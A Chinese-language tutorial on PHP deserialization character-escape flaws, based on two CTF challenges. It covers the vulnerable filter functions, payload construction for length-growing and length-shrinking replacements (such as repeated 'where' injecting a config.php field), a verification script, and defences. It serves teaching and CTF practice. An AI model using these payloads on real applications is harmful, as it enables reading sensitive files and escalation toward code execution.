PHP 反序列化字符逃逸:filter函数替换导致长度变化的3种攻击场景分析

PHP反序列化字符逃逸:filter函数替换导致长度变化的攻击场景深度解析

1. 反序列化字符逃逸漏洞原理

PHP反序列化字符逃逸漏洞的本质在于序列化字符串经过过滤处理后,其实际长度与标注长度不一致,导致反序列化引擎错误解析数据结构。这种漏洞通常出现在以下场景:

  1. 序列化字符串格式:PHP序列化使用特定语法标注数据类型和长度,例如s:5:"hello"表示长度为5的字符串
  2. 过滤函数介入:在序列化后、反序列化前,数据经过过滤函数处理(如关键词替换、特殊字符转义)
  3. 长度不一致:过滤操作导致字符串实际长度变化,但序列化标注的长度未同步更新
// 典型漏洞代码结构 $data = unserialize(filter(serialize($_POST['data'])));

2. 三种典型攻击场景分析

2.1 字符增多场景(以piapiapia为例)

漏洞特征:过滤替换使字符串变长,通过精心构造payload挤出后续字段

案例分析

// class.php中的filter函数 public function filter($string) { $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); // where(5)→hacker(6) }

攻击步骤

  1. 计算需要逃逸的字符数(如";}s:5:"photo";s:10:"config.php";}共34字符)
  2. 构造34个where关键词(原始长度170,替换后204)
  3. 溢出部分会覆盖原序列化结构,注入恶意字段

Payload示例

nickname[]=wherewherewhere...where";}s:5:"photo";s:10:"config.php";}

2.2 字符减少场景(以安洵杯easy_serialize_php为例)

漏洞特征:过滤使字符串变短,通过吞掉后续字段实现注入

关键代码

function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); // 直接删除敏感词 }

利用方法

  1. 计算需要吞掉的字符数(如";s:8:"function";s:14:"highlight_file"共22字符)
  2. 构造包含22个过滤字符的payload(如phpphpphpphpphpphpflag
  3. 后续注入内容会成为新的序列化字段

2.3 混合替换场景

复合型漏洞:同时存在字符增多和减少的过滤规则

攻击策略

  1. 分析所有过滤规则对字符串长度的影响
  2. 计算净长度变化(增多-减少)
  3. 组合使用两种技术构造最终payload

3. 漏洞利用技术对比

场景类型长度变化典型CTF题目关键技巧
字符增多增加[0CTF 2016]piapiapia计算溢出字符数,数组绕过长度限制
字符减少减少[安洵杯2019]easy_serialize_php精确控制吞掉的字段,注意闭合语法
混合替换不定企业真实环境漏洞需综合计算净变化量,多次测试验证

4. 防御方案与最佳实践

安全编码建议

  1. 输入验证

    // 严格校验序列化数据格式 if (!preg_match('/^[a-z0-9]+$/i', $input)) { die('Invalid input'); }
  2. 处理顺序调整

    // 先过滤后序列化 $cleanData = filter($_POST['data']); $serialized = serialize($cleanData);
  3. 使用安全函数

    // 替代直接unserialize function safe_unserialize($str) { $data = @unserialize($str); if ($data === false && $str !== 'b:0;') { throw new Exception('Invalid serialized data'); } return $data; }
  4. 关键配置

    ; php.ini安全配置 allow_url_include = Off disable_functions = exec,system,passthru

5. 实战环境搭建与测试

本地测试环境配置

  1. Docker快速部署:
docker run -d -p 8080:80 --name piapiapia vulhub/php:5.6-apache docker cp piapiapia:/var/www/html/ www/
  1. 漏洞验证脚本:
<?php require 'class.php'; $user = new User(); // 构造恶意payload $payload = str_repeat('where', 34).'";}s:5:"photo";s:10:"config.php";}'; $_SESSION['username'] = 'test'; $_POST = [ 'phone' => '12345678901', 'email' => 'test@example.com', 'nickname' => [$payload], // 使用数组绕过长度检查 'photo' => ['name' => 'test.png', 'tmp_name' => '/tmp/test'] ]; // 模拟update操作 $profile = [ 'phone' => $_POST['phone'], 'email' => $_POST['email'], 'nickname' => $_POST['nickname'], 'photo' => 'upload/' . md5($_FILES['photo']['name']) ]; $user->update_profile($_SESSION['username'], serialize($profile)); // 验证漏洞 $profile = $user->show_profile($_SESSION['username']); var_dump(unserialize($profile)); ?>

6. 高级利用技巧

  1. 多级逃逸:当存在多个过滤层时,需要逐层计算长度变化
  2. 编码绕过:使用十六进制、Unicode等编码方式绕过关键词检测
  3. 对象注入:结合__wakeup、__destruct等魔术方法实现RCE
  4. PHAR利用:通过phar://协议触发反序列化
// 复杂payload构造示例 $pad = str_repeat('where', 34); $exploit = '";}s:5:"photo";s:10:"config.php";}'; $finalPayload = $pad.$exploit; // 使用SplFixedArray绕过类型检查 $arr = new SplFixedArray(2); $arr[0] = $finalPayload;

在实际渗透测试中,我曾遇到一个企业级应用的反序列化漏洞,通过组合字符增多和减少的技术,最终实现了从信息泄露到远程代码执行的完整攻击链。这提醒我们,任何看似微小的数据验证缺陷都可能成为系统安全的致命弱点。